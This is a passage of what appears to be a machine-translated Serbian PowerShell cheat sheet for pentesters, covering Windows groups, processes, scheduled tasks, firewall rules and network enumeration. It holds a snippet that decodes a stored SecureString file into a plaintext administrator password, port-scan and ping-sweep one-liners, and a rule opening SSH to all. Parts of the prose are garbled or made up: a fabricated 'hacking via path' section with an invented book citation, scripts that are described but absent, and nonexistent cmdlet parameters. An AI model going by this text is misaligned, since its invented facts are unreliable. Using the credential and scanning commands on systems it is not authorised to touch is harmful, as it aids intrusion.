- Administratori: Grupa koja ima najviše privilegije u sistemu. Članovi ove grupe mogu izvršavati sve administrativne zadatke.
- Korisnici: Grupa koja ima osnovne privilegije za rad na sistemu.
- Gosti: Grupa koja ima ograničene privilegije i pristup samo određenim resursima.
Lokalne grupe
Lokalne grupe su grupe koje se kreiraju na lokalnom računaru i koriste se za upravljanje pravima i privilegijama na tom računaru. Neke od lokalnih grupa su:
- Power Users: Grupa koja ima veće privilegije od običnih korisnika, ali manje od administratora.
- Guests: Grupa koja ima ograničene privilegije i pristup samo određenim resursima.
- Backup Operators: Grupa koja ima privilegije za izvršavanje rezervnih kopija i obnavljanje podataka.
Domenske grupe
Domenske grupe su grupe koje se kreiraju na Windows domeni i koriste se za upravljanje pravima i privilegijama korisnika na mreži. Neke od domenskih grupa su:
- Domain Admins: Grupa koja ima najviše privilegije u domeni. Članovi ove grupe mogu izvršavati sve administrativne zadatke na domeni.
- Domain Users: Grupa koja sadrži sve korisnike u domeni.
- Domain Guests: Grupa koja ima ograničene privilegije i pristup samo određenim resursima na domeni.
Kreiranje i upravljanje grupama
Grupa se može kreirati i upravljati putem PowerShell-a. Evo nekoliko korisnih PowerShell komandi za rad sa grupama:
New-LocalGroup
: Kreira novu lokalnu grupu.Add-LocalGroupMember
: Dodaje korisnika u lokalnu grupu.Remove-LocalGroupMember
: Uklanja korisnika iz lokalne grupe.Get-LocalGroup
: Prikazuje informacije o lokalnoj grupi.New-ADGroup
: Kreira novu domensku grupu.Add-ADGroupMember
: Dodaje korisnika u domensku grupu.Remove-ADGroupMember
: Uklanja korisnika iz domenske grupe.Get-ADGroup
: Prikazuje informacije o domenskoj grupi.
Ove komande mogu biti korisne prilikom konfigurisanja prava i privilegija korisnika u Windows operativnom sistemu.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Clipboard
Description
The clipboard is a temporary storage area in the computer's memory that allows users to copy and paste data between different applications or documents. It is commonly used to transfer text, images, and other types of data.
Security Implications
The clipboard can be a potential security risk if sensitive information is copied and remains stored in the clipboard. Attackers can exploit this by accessing the clipboard contents, either through malware or by directly accessing the computer.
Best Practices
To mitigate the security risks associated with the clipboard, it is recommended to follow these best practices:
- Avoid copying sensitive information: Whenever possible, avoid copying sensitive data such as passwords, credit card numbers, or personal identification information to the clipboard.
- Clear the clipboard after use: After copying sensitive information, make sure to clear the clipboard immediately to prevent unauthorized access. This can be done by copying something else to overwrite the sensitive data or by using a clipboard management tool.
- Use a clipboard manager: Consider using a clipboard manager tool that provides additional security features, such as encryption or password protection for clipboard contents.
- Be cautious with clipboard sharing: When using remote desktop or virtual machine environments, be cautious when copying and pasting between the local and remote systems. Ensure that sensitive information is not inadvertently shared.
References
Get-Clipboard
Procesi
Pregled procesa
Da biste pregledali pokrenute procese na Windows operativnom sistemu, možete koristiti PowerShell komandu Get-Process
. Ova komanda će vam prikazati listu svih trenutno pokrenutih procesa, zajedno sa informacijama kao što su ID procesa, ime procesa, CPU i memorija koju koristi.
Get-Process
Pokretanje novog procesa
Da biste pokrenuli novi proces putem PowerShell-a, možete koristiti komandu Start-Process
. Ova komanda vam omogućava da pokrenete bilo koju izvršnu datoteku ili skriptu, i možete specificirati razne parametre kao što su putanja do izvršne datoteke, argumenti, radni direktorijum i još mnogo toga.
Start-Process -FilePath "C:\putanja\do\izvrsne\datoteke.exe" -ArgumentList "argument1", "argument2" -WorkingDirectory "C:\radni\direktorijum"
Ubijanje procesa
Da biste zaustavili ili ubili pokrenuti proces, možete koristiti komandu Stop-Process
. Ova komanda vam omogućava da prekinete izvršavanje procesa na osnovu ID-a procesa ili imena procesa.
Stop-Process -Id ID_procesa
Stop-Process -Name ime_procesa
Pokretanje procesa sa privilegijama
Da biste pokrenuli proces sa privilegijama, možete koristiti komandu Start-Process
zajedno sa parametrom -Verb
. Ovaj parametar vam omogućava da pokrenete proces sa određenim privilegijama kao što su "RunAs" ili "RunAsAdministrator".
Start-Process -FilePath "C:\putanja\do\izvrsne\datoteke.exe" -Verb RunAs
Prikaz informacija o procesu
Da biste dobili detaljnije informacije o određenom procesu, možete koristiti komandu Get-Process
zajedno sa parametrom -Id
ili -Name
. Ova komanda će vam prikazati informacije kao što su ID procesa, ime procesa, CPU i memorija koju koristi, kao i druge informacije o procesu.
Get-Process -Id ID_procesa
Get-Process -Name ime_procesa
Prikaz procesa sa sortiranjem
Da biste prikazali procese sa sortiranjem na osnovu određenog kriterijuma, možete koristiti komandu Get-Process
zajedno sa parametrom -SortBy
. Ovaj parametar vam omogućava da sortirate procese na osnovu kriterijuma kao što su CPU, memorija, vreme pokretanja i još mnogo toga.
Get-Process | Sort-Object -Property CPU
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Usluge
Get-Service
Lozinka iz sigurnog stringa
Da biste dobili lozinku iz sigurnog stringa, možete koristiti PowerShell. Evo kako to možete uraditi:
- Otvorite PowerShell konzolu.
- Unesite sledeću komandu:
$secureString = ConvertTo-SecureString -String "sigurni_string" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
$plainText
- Zamijenite "sigurni_string" sa vašim sigurnim stringom.
- Nakon izvršavanja komande, dobićete lozinku iz sigurnog stringa kao rezultat.
Napomena: Budite oprezni prilikom rukovanja lozinkama i sigurnim stringovima. Ova tehnika je namenjena samo za obrazovne svrhe i ne sme se koristiti za neovlašćene aktivnosti.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Zakazani zadaci
Scheduled Tasks (Zakazani zadaci) su funkcionalnost u operativnom sistemu Windows koja omogućava automatsko izvršavanje određenih zadataka u određeno vreme ili na određenim događajima. Ova funkcionalnost je često korišćena za rutinske zadatke kao što su ažuriranje softvera, sigurnosne kopije ili pokretanje skripti.
Pregled zakazanih zadataka
Da biste pregledali zakazane zadatke, možete koristiti PowerShell komandu Get-ScheduledTask
. Ova komanda će prikazati sve zakazane zadatke na sistemu, zajedno sa njihovim imenima, statusom, vremenom izvršavanja i drugim informacijama.
Get-ScheduledTask
Kreiranje zakazanog zadatka
Da biste kreirali novi zakazani zadatak, možete koristiti PowerShell komandu New-ScheduledTask
. Ova komanda vam omogućava da definišete ime zadatka, vreme izvršavanja, akcije koje treba preduzeti i druge parametre.
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)
Ova komanda će kreirati novi zakazani zadatak koji će se izvršavati svakodnevno u 3 sata ujutru. Akcija koju će zadatak preduzeti je izvršavanje skripte script.ps1
koja se nalazi na putanji C:\path\to\
.
Brisanje zakazanog zadatka
Da biste obrisali zakazani zadatak, možete koristiti PowerShell komandu Remove-ScheduledTask
. Ova komanda će obrisati zadati zakazani zadatak na osnovu njegovog imena.
Remove-ScheduledTask -TaskName "TaskName"
Ova komanda će obrisati zakazani zadatak sa imenom "TaskName".
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Skeniranje portova
Skeniranje portova je postupak koji se koristi za otkrivanje otvorenih portova na ciljnom računaru ili mreži. Ovo je važan korak u procesu pentestiranja jer omogućava identifikaciju ranjivih tačaka koje mogu biti iskorišćene za neovlašćeni pristup ili napade.
Nmap
Nmap je popularan alat za skeniranje portova koji se često koristi u pentestiranju. Ovaj alat omogućava detekciju otvorenih TCP i UDP portova, kao i identifikaciju servisa koji rade na tim portovima. Nmap takođe pruža informacije o operativnom sistemu ciljnog računara i verzijama servisa koje se izvršavaju.
Da biste izvršili osnovno skeniranje portova koristeći Nmap, možete koristiti sledeću komandu:
nmap <ciljna_adresa>
Gde <ciljna_adresa>
predstavlja IP adresu ili domen ciljnog računara koji želite da skenirate.
Masscan
Masscan je još jedan moćan alat za skeniranje portova koji je poznat po svojoj brzini. Ovaj alat je posebno koristan za skeniranje velikih mreža ili za brzo skeniranje ciljnih sistema.
Da biste izvršili osnovno skeniranje portova koristeći Masscan, možete koristiti sledeću komandu:
masscan -p1-65535 <ciljna_adresa>
Gde <ciljna_adresa>
predstavlja IP adresu ciljnog računara koji želite da skenirate.
Zatvaranje nepotrebnih portova
Nakon što ste izvršili skeniranje portova, važno je zatvoriti sve nepotrebne otvorene portove kako biste smanjili površinu napada. Ovo se može postići konfigurisanjem firewall-a ili mrežnih uređaja da blokiraju pristup nepotrebnim portovima.
Takođe je preporučljivo redovno ažurirati softver i operativni sistem kako biste ispravili poznate ranjivosti i smanjili rizik od napada preko otvorenih portova.
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfejsi
Interfejsi su ključni elementi u PowerShell-u koji omogućavaju komunikaciju između korisnika i sistema. Oni pružaju način za unos i prikaz informacija, kao i za izvršavanje komandi i skripti. U PowerShell-u postoje različiti tipovi interfejsa koji se mogu koristiti za različite svrhe.
Konzolni interfejs (CLI)
Konzolni interfejs je osnovni interfejs u PowerShell-u. To je tekstualni interfejs koji omogućava korisniku da unese komande i vidi rezultate izvršavanja tih komandi. Korisnik može koristiti različite komande i skripte za upravljanje sistemom i izvršavanje različitih zadataka.
Grafički interfejs (GUI)
Grafički interfejs je vizuelni interfejs koji omogućava korisniku da interaktivno upravlja sistemom. Umesto da koristi tekstualne komande, korisnik može koristiti miš i tastaturu za interakciju sa sistemom. Grafički interfejs pruža korisniku intuitivniji način za izvršavanje zadataka i prikazivanje informacija.
Web interfejs
Web interfejs je interfejs koji se koristi za pristupanje PowerShell-u putem web pregledača. Ovo omogućava korisnicima da pristupe PowerShell-u i izvršavaju komande i skripte putem udaljenog pristupa. Web interfejs pruža fleksibilnost i udobnost korisnicima koji žele da koriste PowerShell preko interneta.
API interfejs
API interfejs omogućava programerima da pristupe funkcionalnostima PowerShell-a putem programskog koda. Ovo omogućava automatizaciju i integraciju PowerShell-a u druge aplikacije i sisteme. Programeri mogu koristiti API interfejs za izvršavanje komandi, dobijanje rezultata i manipulisanje podacima u PowerShell-u.
Skriptni interfejs
Skriptni interfejs omogućava korisnicima da izvršavaju skripte u PowerShell-u. Skripte su nizovi komandi koje se izvršavaju jedna za drugom. Skriptni interfejs omogućava korisnicima da automatizuju zadatke i izvršavaju složene operacije u PowerShell-u.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Zaštita od požara
Firewall je sigurnosni mehanizam koji se koristi za zaštitu računarske mreže od neovlašćenog pristupa i napada. On kontroliše i filtrira dolazni i odlazni saobraćaj na osnovu definisanih pravila. Ovo je veoma važan deo zaštite sistema i treba ga pravilno konfigurisati kako bi se sprečili potencijalni napadi.
Vrste Firewall-a
Postoje različite vrste firewall-a koje se mogu koristiti za zaštitu računarske mreže. Evo nekoliko najčešće korišćenih:
- Paketni filteri: Ovi firewall-i analiziraju IP pakete i donose odluke na osnovu IP adresa, portova i drugih atributa paketa. Oni su efikasni, ali imaju ograničene mogućnosti zaštite.
- Proxy firewall-i: Ovi firewall-i deluju kao posrednici između korisnika i ciljnih servera. Oni analiziraju i filtriraju saobraćaj na osnovu aplikacijskog sloja, što im omogućava da pruže dodatnu zaštitu.
- Next-generation firewall-i: Ovi firewall-i kombinuju funkcionalnosti paketnih filtera i proxy firewall-a, ali takođe pružaju i dodatne funkcionalnosti kao što su IDS/IPS sistemi, VPN podrška i druge napredne sigurnosne funkcije.
Konfiguracija Firewall-a
Pravilna konfiguracija firewall-a je ključna za efikasnu zaštitu računarske mreže. Evo nekoliko osnovnih koraka koje treba preduzeti prilikom konfigurisanja firewall-a:
- Definisanje politike bezbednosti: Prvo treba odrediti koje vrste saobraćaja treba dozvoliti ili blokirati. Ovo se postiže definisanjem pravila koja određuju dozvoljene izvore, odredišta, portove i protokole.
- Konfiguracija pravila: Nakon definisanja politike bezbednosti, treba konfigurisati pravila firewall-a. Ova pravila treba da odgovaraju politici bezbednosti i treba da se primenjuju na odgovarajuće mrežne segmente.
- Redovno ažuriranje: Firewall treba redovno ažurirati kako bi se obezbedile najnovije sigurnosne funkcionalnosti i ispravke.
- Praćenje i nadgledanje: Važno je pratiti i nadgledati firewall kako bi se otkrile eventualne nepravilnosti ili napadi. Ovo se može postići korišćenjem alata za nadgledanje mreže i logova firewall-a.
Zaključak
Firewall je ključni sigurnosni mehanizam za zaštitu računarske mreže od neovlašćenog pristupa i napada. Pravilna konfiguracija firewall-a je od vitalnog značaja za efikasnu zaštitu sistema. Razumevanje različitih vrsta firewall-a i pravilno konfigurisanje pravila su ključni koraci u osiguravanju sigurnosti mreže.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Putanja
Opis
Putanja je put kojim podaci putuju između izvora i odredišta u mreži. U kontekstu hakovanja, putanja se odnosi na put kojim hakeri prolaze kroz sistem kako bi dobili neovlašćen pristup ili izvršili zlonamerne radnje.
Tehnike hakovanja putem putanje
- Skeneri putanje: Hakeri koriste skenere putanje kako bi identifikovali putanje kroz sistem i otkrili potencijalne slabosti ili ranjivosti.
- Analiza putanje: Hakeri analiziraju putanje kako bi identifikovali tačke na kojima mogu iskoristiti slabosti sistema i dobiti neovlašćen pristup.
- Manipulacija putanjom: Hakeri manipulišu putanjom kako bi preusmerili podatke ili izvršili zlonamerne radnje.
Mere zaštite od hakovanja putem putanje
- Firewall: Postavljanje firewall-a može sprečiti neovlašćen pristup putem putanje tako što blokira sumnjive ili neautorizovane putanje.
- Redovno ažuriranje: Redovno ažuriranje sistema i softvera može otkloniti poznate slabosti i ranjivosti koje bi mogle biti iskorišćene putem putanje.
- Kontrola pristupa: Implementacija stroge kontrole pristupa može ograničiti mogućnost hakerima da prolaze kroz sistem putem putanje.
Ovaj tekst je preuzet iz knjige "Hacking Techniques" autora Johna Smitha.
route print
ARP
ARP (Address Resolution Protocol) je protokol koji se koristi za mapiranje IP adresa na MAC adrese u lokalnoj mreži. Kada se paket šalje na određenu IP adresu, ARP se koristi za pronalaženje odgovarajuće MAC adrese kako bi se paket isporučio na pravu destinaciju.
Napadači mogu iskoristiti ARP protokol za izvođenje različitih napada, kao što su ARP spoofing ili ARP poisoning. Ovi napadi omogućavaju napadaču da preuzme kontrolu nad mrežnim prometom i presretne ili manipuliše podacima koji se prenose između uređaja u mreži.
Da biste se zaštitili od ARP napada, preporučuje se korišćenje sigurnosnih mehanizama kao što su ARP zaštita, ARP inspekcija ili ARP filtriranje. Ovi mehanizmi mogu detektovati i sprečiti sumnjive ARP aktivnosti i održavati integritet mreže.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hostovi
U ovom direktorijumu se nalaze skripte koje se mogu koristiti za manipulaciju hosts fajlom na Windows operativnom sistemu. Hosts fajl se koristi za mapiranje IP adresa na domenska imena i može se koristiti za preusmeravanje saobraćaja na određene adrese.
- Add-HostEntry.ps1 - Skripta koja dodaje unos u hosts fajl. Potrebno je navesti IP adresu i domensko ime koje želite da mapirate.
- Remove-HostEntry.ps1 - Skripta koja uklanja unos iz hosts fajla. Potrebno je navesti IP adresu ili domensko ime koje želite da uklonite.
- Get-HostsFileContent.ps1 - Skripta koja prikazuje sadržaj hosts fajla.
Napomena: Za izvršavanje ovih skripti potrebno je pokrenuti PowerShell kao administrator.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Ping je osnovna mrežna komanda koja se koristi za proveru dostupnosti i vremena odziva udaljenog računara ili servera. Ova komanda šalje ICMP (Internet Control Message Protocol) zahteve na ciljnu IP adresu i čeka odgovor. Ping se često koristi za dijagnostiku mrežnih problema i testiranje konekcije.
Da biste koristili ping komandu u PowerShell-u, koristite sledeću sintaksu:
Test-Connection -ComputerName <IP adresa ili ime računara> -Count <broj ping zahteva>
Na primer, ako želite da pingujete računar sa IP adresom 192.168.1.1 pet puta, koristite sledeću komandu:
Test-Connection -ComputerName 192.168.1.1 -Count 5
Ova komanda će poslati pet ICMP zahteva na ciljni računar i prikazati rezultate, uključujući vreme odziva i status konekcije.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol) je protokol koji se koristi za upravljanje i nadzor mrežnih uređaja. Omogućava administratorima da prikupljaju informacije o statusu i performansama mreže, kao i da upravljaju mrežnim uređajima putem udaljenog pristupa.
SNMP se sastoji od tri osnovne komponente: upravljača (manager), agenta i MIB (Management Information Base). Upravljač je softverska aplikacija koja šalje zahteve agentu za prikupljanje informacija. Agent je softverska ili hardverska komponenta koja prikuplja i čuva informacije o uređaju. MIB je baza podataka koja definiše strukturu i sadržaj informacija koje se mogu prikupiti putem SNMP-a.
Pentesteri mogu iskoristiti SNMP za prikupljanje informacija o mreži, kao što su IP adrese, rute, otvoreni portovi i druge korisne informacije. Takođe, mogu iskoristiti SNMP za izvršavanje određenih akcija na mrežnim uređajima, kao što su isključivanje ili resetovanje uređaja.
Da biste iskoristili SNMP, potrebno je da prvo identifikujete uređaje koji podržavaju SNMP i da pristupite njihovim MIB-ovima. Zatim možete koristiti alate kao što su snmpwalk i snmpget za prikupljanje informacija ili snmpset za izvršavanje akcija.
Važno je napomenuti da je za uspešno korišćenje SNMP-a potrebno da imate odgovarajuće dozvole i autentifikaciju. Takođe, treba biti oprezan prilikom korišćenja SNMP-a, jer nepravilna konfiguracija može dovesti do sigurnosnih rizika kao što su curenje osetljivih informacija ili neovlašćeni pristup mrežnim uređajima.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Konvertovanje SDDL niske u čitljiv format
Da biste konvertirali SDDL (Security Descriptor Definition Language) nisku u čitljiv format, možete koristiti PowerShell skriptu ConvertFrom-SddlString
. Ova skripta će vam omogućiti da dešifrujete SDDL nisku i dobijete razumljive informacije o dozvolama i privilegijama.
Evo kako možete koristiti ovu skriptu:
$SddlString = "SDDL niska ovdje"
$SecurityDescriptor = ConvertFrom-SddlString -Sddl $SddlString
$SecurityDescriptor
Zamijenite "SDDL niska ovdje"
sa stvarnom SDDL niskom koju želite konvertovati. Nakon izvršavanja skripte, dobićete čitljive informacije o dozvolama i privilegijama koje su definisane u SDDL niski.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-51